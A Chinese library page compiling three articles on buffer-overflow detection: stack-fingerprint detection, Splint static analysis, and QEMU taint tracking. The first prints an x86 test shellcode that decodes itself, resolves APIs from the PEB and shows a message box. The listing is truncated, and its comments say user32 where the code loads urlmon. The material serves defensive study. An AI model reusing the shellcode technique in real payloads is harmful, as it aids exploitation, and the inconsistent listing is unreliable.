正文内容
基于栈指纹检测缓冲区溢出的思路
来源:文库
作者:开心麻花
2026-01-07
1

基于栈指纹检测缓冲区溢出的思路(精选3篇)

基于栈指纹检测缓冲区溢出的思路 第1篇

引言

当前主动防御等的概念逐渐进入人们视野,国外主流的杀毒软件都有栈溢出的检测模块,尽管相对传统的木马和病毒来说,缓冲区溢出仍占攻击的很小一部分,但是基于传统的“木桶理论”,安全是一个整体,威胁还是无处不在,

现有的栈溢出检测模式

整篇文章我都以Kaspersky Internet Security(KIS 6)作为例子,KIS7中这一部分并无大的改进。以下是测试用的Shellcode:

__asm

{

/* --------------------解码开始---------------------- */

jmp decode_end

decode_start:

pop edx // 得到解码开始位置 esp ->edx

dec edx

xor ecx,ecx

mov cx,0x13D // 要解码的长度

decode_loop:

xor byte ptr [edx+ecx], 0x99

loop decode_loop

jmp decode_ok

decode_end:

call decode_start

decode_ok:

/*--------------------解码结束---------------------- */

jmp end

start:

pop edx // 指令表起始地址存放在 esp ->edx

// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====

//

// 输入:

// edx =>指令表起始地址 (不需要)

//

// 输出:

// eax =>kernel32.dll起始地址

// edx =>指令表起始地址

mov eax, fs:0x30 // PEB

mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO

mov esi, [eax + 0x1c] // InInitOrder.flink

lodsd

mov eax,[eax+8]

// ========== 定位GetProcAddress的地址 ==========

//

// 输入:

// eax =>kernel32.dll起始地址

// edx =>指令表起始地址

//

// 输出:

// ebx =>kernel32.dll起始地址

// eax =>GetProcAddress地址

// edx =>指令表起始地址

mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Address

mov esi,dword ptr [ebx+3Ch] // esi = PE header offset

mov esi,dword ptr [esi+ebx+78h]

add esi,ebx // esi = exports directory table

mov edi,dword ptr [esi+20h]

add edi,ebx // edi = name pointers table

mov ecx,dword ptr [esi+14h] // ecx = number of name pointers

xor ebp,ebp

push esi

search_GetProcAddress:

push edi

push ecx

mov edi,dword ptr [edi]

add edi,ebx // 把输出函数名表起始地址存人edi

mov esi,edx // 指令表起始地址存入esi

//mov ecx,0Eh // 函数getprocAddress长度为0Eh

push 0xE

pop ecx

repe cmps byte ptr [esi],byte ptr [edi]

je search_GetProcAddress_ok

pop ecx

pop edi

add edi,4

inc ebp

loop search_GetProcAddress

search_GetProcAddress_ok:

pop ecx

pop edi

pop esi

mov ecx,ebp

mov eax,dword ptr [esi+0x24]

add eax,ebx

shl ecx,1

add eax,ecx

xor ecx,ecx

mov cx,word ptr [eax]

mov eax,dword ptr [esi+0x1C]

add eax,ebx

shl ecx,2

add eax,ecx

mov eax,dword ptr [eax]

add eax,ebx

// ============ 调用函数解决api地址 ============

//

// 输入:

// ebx =>kernel32.dll起始地址

// eax =>GetProcAddress地址

// edx =>指令表起始地址

//

// 输出:

// edi =>函数地址base addr

// esi =>指令表当前位置

// edx =>GetProcAddress 地址

mov edi,edx

mov esi,edi

add esi,0xE // 0xE 跳过1个字符串“GetProcAddress”32177368

// ============ 解决kernel32.dll中的函数地址 ============

mov edx,eax // 把GetProcAddress 地址存放在edx

//mov ecx,0x5 // 需要解决的函数地址的个数

push 0x2

pop ecx

call locator_api_addr

// ============ 加载user32.dll ============

add esi,0xd

// 硬编码可以节省两个字节

push edx // edx是GetProcAddress 地址

push esi // 字符“urlmon”地址

//mov dword ptr fs:[4],0x0012FFFF

//mov dword ptr fs:[8],0x0012FFFF

call dword ptr [edi-4] // LoadLibraryA

// ============ 解决函数地址 ============

pop edx

mov ebx,eax // 将urlmon.dll起始地址存放在ebx

//mov ecx,1 // 函数个数

push 0x1

pop ecx // 函数个数 <-这种方式省两个字节

call locator_api_addr

// 取得一些空间存放系统路径

sub esp, 0x20

mov ebx, esp

//MessageBox的参数

mov dword ptr [ebx], 0x797a7967 // “yzyg”

mov dword ptr [ebx+0x4], 0x00000000 // “00”

push 0

push ebx

push ebx

push 0

call [edi-0x4] //MessageBoxA

// ExitProcess

push eax

call dword ptr [edi-0x0c] // ExitProcess

// ============ 解决api地址的函数 ============

//

// 输入参数:

// ecx 函数个数

// edx GetProcAddress 地址

// ebx 输出函数的dll起始地址

// esi 函数名表起始地址

// edi 保存函数地址的起始地址

locator_api_addr:

locator_space:

xor eax,eax

lodsb

test eax,eax // 寻找函数名之间的空格x00

jne locator_space

基于栈指纹检测缓冲区溢出的思路 第2篇

关键词:静态检测,缓冲区溢出,危险函数,Splint工具

1 引言

在各种各样的软件安全漏洞中,缓冲区溢出漏洞是最常见的形式之一,缓冲区溢出漏洞广泛存在于系统软件和应用软件之中,且具有很强的隐蔽性和破坏性。著名的Morris蠕虫事件就是利用缓冲区溢出漏洞进行网络攻击的典型事例,此次网络攻击造成了巨大的经济损失。关于缓冲区溢出漏洞的研究一直是软件安全领域中的一个重要课题,也是信息安全领域中一个亟待解决的问题。

2 缓冲区溢出的原因和检测方法

2.1 缓冲区溢出的原因

C语言是软件开发中一种应用非常广泛的编程语言。但其设计上存在着很大的缺陷,如C语言允许直接对数组和指针进行访问操作,但没有进行相应的边界检查[1],这种特性容易导致缓冲区溢出漏洞的产生。而且C语言标准库提供的一些函数(strcpy,strcat,gets等)允许把未知大小的字符串写到固定大小的缓冲区中,同时也未检查相应的边界。这类易出错的库函数通常被称为“危险函数”[1]。它们在程序设计中的频繁使用是造成缓冲区溢出的主要原因。

2.2 缓冲区溢出的检测方法

目前针对缓冲区溢出的检测技术包括静态检测技术[2]、动态检测技术[3]和动静结合的检测技术[4]。

(1)静态检测技术。利用二进制比对技术、词法分析、语法分析、形式化验证等技术,对被测程序的源程序或二进制代码进行扫描,根据获取的静态信息来分析程序的特征,找出程序中可能存在的缓冲区溢出漏洞。这类技术简单高效,但它只是对源代码本身的特征进行检查,所以精确度不是很高,并且存在一定的误报和漏报。

(2)动态检测技术。通过自动生成测试数据,以仿真攻击应用程序来判断是否存在漏洞。主要手段是利用各种输入对程序进行探测,并同时分析程序的运行环境。这类技术需要很大的时空开销,故效率远低于静态检测技术,但它能准确地定位漏洞。

(3)动静结合的检测技术。先使用静态检测技术对程序进行分析得到程序的静态信息,以此为基础,对测试数据集进行筛选,进而指导下一步的动态测试。此方法需要结合人工分析进行,对分析人员的经验和分析能力具有较高的要求。

2.3 静态分析技术

静态检测工具首选将需进行分析的代码转换为一种程序模型,即一组表示此代码的数据结构。其中用到的技术和数据结构主要有以下几个方面。

(1)词法分析[5]。静态检测工具首先将源代码转换为一系列的记号,并删除源代码中的不重要部分,如空白或者注释,这种记号流的创建称作词法分析,词法规则通常使用正则表达式来识别记号。基于词法分析的静态检测工具,以ITS4,Flawfinder,Rats为代表。

(2)语法分析[5]。语法分析器通过使用上下文无关文法来匹配词法分析生成的记号流,这种文法由一组产生式构成,它用来对词法分析器生成的记号进行解析和描述。基于语法分析的静态检测工具,以BOON为代表。

(3)抽象语法树[5]。通过词法分析和语法分析,就可以生成程序的抽象语法树。抽象语法树或称语法树,就是用树的形式表示句子的结构。与具体语法树相比,抽象语法树更好地反映了语句的结构,更符合形式化分析的要求。

(4)控制流图[6]。控制流图是程序的一种中间表示形式,它反映了程序中语句、模块之间的执行顺序和相互调用关系。控制流信息指出在程序的每个程序点接下来可能执行的程序点。在控制流图的基础上,国外的一些学者进行了相关研究,主要体现在以下3个方面:①后必经结点及其算法的相关研究[7];②后经边界及其算法的相关研究[8];③控制依赖及其算法的研究[9]。

(5)数据流分析[10]。数据流分析是一种用于收集计算机程序在不同点计算值的信息的技术。数据流分析是语义分析的理论与技术基础。静态程序分析技术用于实际软件分析时,出于准确性的考虑,往往需要对软件代码进行流敏感、上下文敏感及路径敏感的数据流分析,即在分析过程中考虑程序执行控制流、过程调用及不同控制流路径对于数据流的影响。

3 静态检测工具Splint及其改进

3.1 Splint

美国Virginia大学开发了一款基于数据流分析方法的开源的静态检测工具Splint[11]。它可以检测C程序中可能存在的安全漏洞和编程错误,并且Splint主要针对缓冲区溢出漏洞。其能检测的漏洞类型包括:未定义和使用的变量,类型不一致,空指针引用,内存管理,指针别名检查,无限循环和缓冲区溢出等[12]。

Splint的检测过程如下:首先对源程序进行词法分析、语法分析生成抽象语法树,然后进行控制流分析,在控制流的基础上进行过程间数据流分析,并在分析的过程中为每个字符串变量及字符串函数生成相应的约束条件[13,14]。以上分析属于静态分析阶段,通过静态分析可以生成程序的全部静态信息,这些信息是接下来进行漏洞检测的基础。接下来Splint根据相应的安全规则对安全漏洞进行检测。其工作原理如图1所示。

3.2 Splint存在的不足

(1)静态检测工具Splint主要是针对缓冲区溢出漏洞进行设计的。但在实际的使用中,Splint为了提高检测的覆盖率,尽量对所有可能的漏洞和错误进行检测,所以增加误报。如图2所示,用Splint对wu-ftpd-2.5.0进行检测,其报告的漏洞个数高达2310个。通过检查,我们发现其大部分报告都与缓冲区溢出漏洞检测无关。我们只关心其中的缓冲区溢出漏洞的报告,所以Splint检测结果中大部分的报告没有实用价值。更为重要的是,太多的误报会严重影响检测效果。所以需对Splint的源代码进行改进,减少其漏洞的误报率,使其只反馈软件系统中可能存在的缓冲区溢出漏洞。

(2)静态检测工具Splint的另一个不足在于检测的“危险函数”种类有限,许多可能导致缓冲区溢出的“危险函数”并不能检测出。所以需对其可检测的范围进行扩充,把其他一些种类的“危险函数”加入库中,使其可检测出的缓冲区溢出漏洞的种类更加全面。

3.3 对Splint的改进

3.3.1 检测功能的改进

首先,需要理解Splint的源代码结构,分析其各个模块的功能以及相互之间的关系。其源代码大体上可分为静态分析模块和检测模块,我们关心的只是检测模块。如图1所示,缓冲区溢出的检测模块与其它模块无关,因此需将这些与缓冲区溢出检测无关的模块代码都去除掉。根据要求重新编写Makefile文件,并且只保留与缓冲区溢出检测有关的源文件,把与其他检测模块相对应的源文件从Makefile中删除即可。

3.3.2“危险函数”的扩充

“危险函数”的使用是导致缓冲区溢出产生的主要原因,但是在Splint中并不是每一个“危险函数”都能被检测出来,一些“危险函数”并没有加入到其相应的库中。所以需要对其检测的范围进行扩展,将可能导致缓冲区溢出的“危险函数”加入到其相应的库中,从而完善其检测效果。表1列出了C语言库中部分可能导致缓冲区溢出的“危险函数”。而在Splint库中,只包含了一部分“危险函数”,需要根据表1的内容添加splint库中没有的“危险函数”。

完成以上两步,接下来便对修改后的源代码重新编译,生成新的目标可执行文件。

4 实验结果

本实验使用的实验环境:Pentium 1.8 GHz CPU,512 MB内存,Ubuntu 11.10。选取wu-ftpd-2.5.0,Net-tools-1.60两个常用的软件包对改进后的splint进行测试,主要由两个步骤组成。第一步,首先对改进后的检测功能进行测试;第二步,在第一步的基础上,对splint的库函数进行扩充,即把splint库中没有的“危险函数”加入到其库中,然后再进行测试。以wu-ftpd-2.5.0为例,第一步测试的结果如图3所示。

通过检测发现,报告的180个漏洞都是与缓冲区溢出相关的漏洞,其他的漏洞都没有进行报告,而且相比较改进之前,其检测结果所报告的漏洞数目大大减少。接下来进行第二步测试,其测试结果如图4所示。发现其报告的缓冲区溢出漏洞数目比没有扩充库函数之前多了12个。图5列出了这12个可能导致缓冲区溢出的漏洞。

以上这些函数都是可能导致缓冲区溢出的“危险函数”,而splint在检测的过程中并没有对这些“危险函数”进行报告。

接下来,又对Net-tools-1.60进行检测。其两步所检测出的缓冲区溢出漏洞数目分别为:112和122,其新检测出的10个可能导致缓冲区溢出的漏洞如图6所示。

5 结语

静态检测具有简单、快速、高效等优点,尤其是在检测大型的软件系统上,更能体现出这种优点。但是其实际的检测漏洞的能力受其分析方法的限制,所以存在很大的局限性。具体表现在检测的结果存在着很大的漏报和误报,而且对检测的结果还需要进行人工分析才能够确定其真实存在的安全漏洞。虽然静态检测技术具有以上诸多缺点,但是相对于其他检测技术来说,静态分析没有运行时的开销,且能在软件开发的早期检测出软件中可能存在的安全漏洞。因此静态检测技术仍然是一种重要的检测安全漏洞的方法。

参考文献

[1]Howard M,LeBlanc D.Writing Secure Code,Second Edition,2002.

[2]张林,曾庆凯.软件安全漏洞的静态检测技术.计算机工程,2008,34(12):157-159.

[3]彭炜.计算机安全漏洞动态检测研究.光盘技术,2009,4:16-17.

[4]Ernst M D.Static and dynamic analysis:Synergy and duality.WODA 2003:ICSE Workshop on Dynamic Analysis,2003,24-27.

[5]Aho A V,Sethi R,DUllman J D.Compilers:Principles,Tech-niques,and Tools.2nd Edition.Boston,MA:Addison-Wes-ley,2006.

[6]Ferrante F,Ottenstein K J,Warren J D.The Program Depen-dence Graph and its use in optimization.ACM transactionson Programming Languages and Systems,1987,9(3):319-349.

[7]Aho A V,Uliman J D.The Theory of Parsing,Translation,and Compiling.Prentice-Hall,1972.

基于栈指纹检测缓冲区溢出的思路 第3篇

关键词:缓冲区溢出攻击,网络攻击,信息安全

0简介

缓冲区溢出是目前最常见的软件安全漏洞之一,接近90%的网络攻击都是通过缓冲区溢出漏洞达成的。通过精心构造程序输入,攻击者可以通过缓冲区溢出覆盖几乎任何他想覆盖的目标,并在这个过程中植入shellcode[1]。这样,当应用程序对输入数据进行处理的时候,其控制流将会被篡改,从而执行攻击者所期望执行的恶意代码。从1988年的Morris蠕虫开始,直到2010年对伊朗核工业设施造成巨大破坏的“震网”病毒,一直到最近的危害更胜“震网”的“超级火焰”病毒,当中都利用了缓冲区溢出攻击技术。可见,缓冲区溢出是目前最重要的网络安全威胁之一。

传统的缓冲区溢出分为静态分析和动态分析两种方法。静态分析能够覆盖更多的程序执行路径,具有更高的覆盖率,但需要程序的源代码,如Stack Guard[2];动态分析方法根据软件的实际执行来对缓冲区溢出进行检测,更贴近软件真实行为,但只能覆盖单一的执行路径,如CRED[3]。因此,静态分析和动态分析方法两者各有所长,不能互相取代。本文提出了一种基于污点分析[4]的动态分析方法来检测基于网络的缓冲区溢出攻击,它的基本思想是:首先通过将网络数据打标标记为污点数据,然后利用模拟器如QEMU[5]等跟踪污点数据在系统内的传播过程。一旦污点数据被非法使用,则说明可能发生了缓冲区溢出攻击,系统报警。

1 缓冲区溢出原理及其分类

根据缓冲区溢出的不同,分为如下三种形式:栈溢出、堆溢出和BSS溢出。

1)栈溢出

栈是在函数调用的时候建立的,它包含以下信息:函数参数信息;函数返回地址信息;栈顶和栈底信息;局部变量的信息等。栈的生长方向是从内存高地址向低地址生长的,其数据的压入和弹出操作由PUSH和POP完成,并且遵循后进先出的原则。当函数被调用时,其函数参数、函数返回地址、栈帧信息和局部变量依次压入到堆栈当中。这样,通过向栈中压入超长的数据,就有可能改变函数的返回地址,从而使得函数在返回的时候执行攻击者所期望执行的代码。例如:假设函数存在某个数组参数s[20],则当执行strcpy(s,attackstr)时,只要attackstr的长度足够长(>20),就会覆盖函数返回地址IP。通过精心构造attackstr字符串,就可以从而达到攻击目的。

2)堆溢出

在C语言中,使用malloc()可以动态分配一段内存,并向用户返回一个内存地址,而实际上这个地址前面通常还有8Bytes的内部结构,用来记录分配的块长度以及一些标志,如图1所示。

显然,在malloc分配的用户数据后面,紧接着的是本堆的数据(4B)和上一堆的字节数(4B)。这样,当用户输入的数据超长,超过了malloc的参数指定的长度时,本堆的字节数和上一堆的字节数就可以被覆盖,从而实现了堆溢出。

3)BSS溢出

BSS和静态全局变量相关。例如,假设有如下定义:

static char buf1[10],buf2[12];

则buf1和but2两个数组位于BSS段。如果buf1写入的数据足够长(>10),例如12个字节,则会覆盖buf2的内容。利用这点,攻击者可以通过改写BSS中的指针或函数指针等方式,改变程序原先的执行流程,使指针跳转到特定的内存地址并执行攻击者指定的操作。

从以上分析可以知道,对于缓冲区溢出攻击,其发生的根本原因是类C语言不对缓冲区做边界检查,从而使得攻击者可以通过输入超长的数据(超过缓冲区的长度)来覆盖某些内存单元,进而达到控制程序流程的目的。

2 基于污点分析的缓冲区溢出检测方法

对于基于网络攻击的缓冲区溢出而言,根据上面的分析,攻击者必须通过网络从远程将(超长)数据传入到应用程序的缓冲区以篡改程序的控制流。换句话说,当缓冲区溢出发生时,一定是攻击者通过网络传入的攻击数据被使用了。从这个结论出发,如果能够监控应用程序对数据的使用,一旦发现EIP寄存器或者JMP系列机器指令使用的是网络数据,则意味着很可能发生了缓冲区溢出攻击(因为通常的缓冲区是数据而不是指令,因而不会被EIP寄存器或者JMP指令使用)。而为了监控网络数据的时候,可以采用污点分析的方法,将网络数据打上污点标记,并利用硬件模拟器如QEMU等对机器指令的执行进行模拟即可。整个系统的流程如图2所示。

从图2可以看到,基于污点分析的缓冲区溢出攻击检测有三个大的步骤:

1)标记污点数据。这是通过将网络数据打上污点标记完成的。通过在QEMU内部的“影子内存”,将网络传入的数据打上污点标记。进行污点标记时,可以使用一个bit的影子内存标记一个字节的网络数据,显然,这种方式只能说明某个字节是否是网络数据。如果需要记录更多的信息,可以使用更多的bit来标记一个字节的网络数据。

2)跟踪污点传播。QEMU硬件模拟器将采用软件方式来模拟机器指令的执行。这使得我们可以利用QEMU来跟踪污点数据的传播。其基本过程是:根据不同的机器指令,当源操作数是污点数据时,则目的操作数也应该打上污点标记。例如:对于“MOV AX,DX”,若DX存储的污点数据,则AX也应该打上污点标记标明为污点数据。这一部分需要根据机器指令的分类:算术指令、单操作数、双操作数、三操作数指令等来实现不同的跟踪。

3)检测溢出攻击。当QEMU的指令模拟发现JMP指令的操作数是污点数据,或者EIP寄存器内部存储的是污点数据,则说明发生了缓冲区溢出攻击。事实上,上述规则是最低限的普遍规则。根据不同的场景,检测规则可以更加复杂。例如:可以检测函数调用参数,当某些函数调用参数是污点数据时,可能发生了其他类型的溢出攻击等等。

3 结论

缓冲区溢出是一种危害非常大的攻击方式。针对基于网络的缓冲区溢出攻击特点:当攻击发生时,一定使用了网络传入的、攻击者精心设计的网络数据流,本文提出了一种基于污点分析的缓冲区溢出检测方法。它通过监控网络数据的传入,并通过打标跟踪网络数据在系统内的传播和使用过程,实现了缓冲区溢出攻击的检测。实验证明我们的方法是有效的。

参考文献

[1]林志强,王逸,茅兵,等.SafeBird:一种动态和透明的运行时缓冲区溢出防御工具集[J].电子学报,2007,35(5):882-889.

[2]C.Cowan,C.Pu,D.Maier,et al.StackGuard:Automatic AdaptiveDetection and Prevention of Buffer-Overflow Attacks[C].Proceedings ofthe 7th USENIX Security Symposium,1998.

[3]O.Ruwase,M.S.Lam.A Practical Dynamic Buffer OverflowDetector[C].Proceedings of the 11th Annual Network and DistributedSystem Security Symposium,2004.

[4]J.Newsome,D.Song.Dynamic Taint Analysis for AutomaticDetection,Analysis,and Signature Generation of Exploits on CommoditySoftware[R].CMU-CS-04-140,2004.

相关文章
谜底是近代人名的谜语

谜底是近代人名的谜语

谜底是近代人名的谜语(精选14篇)谜底是近代人名的谜语 第1篇谜底是水浒传人名的谜语谜底是水浒传人名的谜语:1.谜面:三十六中抓重点 ...

2
2026-01-08
美丽的崂山范文

美丽的崂山范文

美丽的崂山范文(精选3篇)美丽的崂山 第1篇Internet已经成为当代最有影响力、最普遍、最方便的宣传工具和信息来源。现在旅游网站越来越多...

2
2026-01-08
民用建筑防火间距

民用建筑防火间距

民用建筑防火间距(精选6篇)民用建筑防火间距 第1篇1 从建筑物扑救面角度探讨防火间距1.1 GB 50045-95对于建筑物扑救面的规定和解释GB...

1
2026-01-08
美术上学期教学计划

美术上学期教学计划

美术上学期教学计划(精选12篇)美术上学期教学计划 第1篇中班上学期美术计划——单晴 胡容第一周《降落伞下有什么呢?》蜡笔水粉纸黑色...

3
2026-01-08
拇指的故事论文

拇指的故事论文

拇指的故事论文(精选9篇)拇指的故事论文 第1篇在几年的幼儿教学工作中, 我总结了一些经验, 教育幼儿时应讲究一些艺术:一、批评儿童要...

2
2026-01-08
煤矿“四个标准”

煤矿“四个标准”

煤矿“四个标准”(精选8篇)煤矿“四个标准” 第1篇重庆市南川区嘉岭煤矿有限责任公司潼仪煤矿工作标准2018年1月目 录跟班管理人员职责...

2
2026-01-08
美术彩线贴画教案

美术彩线贴画教案

美术彩线贴画教案(精选15篇)美术彩线贴画教案 第1篇人民教育出版社三年级下册第13课彩线贴画人民教育出版社三年级下册第13课彩线贴画教...

2
2026-01-08
慢性甲状腺炎范文

慢性甲状腺炎范文

慢性甲状腺炎范文(精选10篇)慢性甲状腺炎 第1篇1.1 一般资料对从该院2011年3月—2014年3月前来就诊的患者中以随机抽取的方式抽取240例...

2
2026-01-08
付费阅读
确认删除?
回到顶部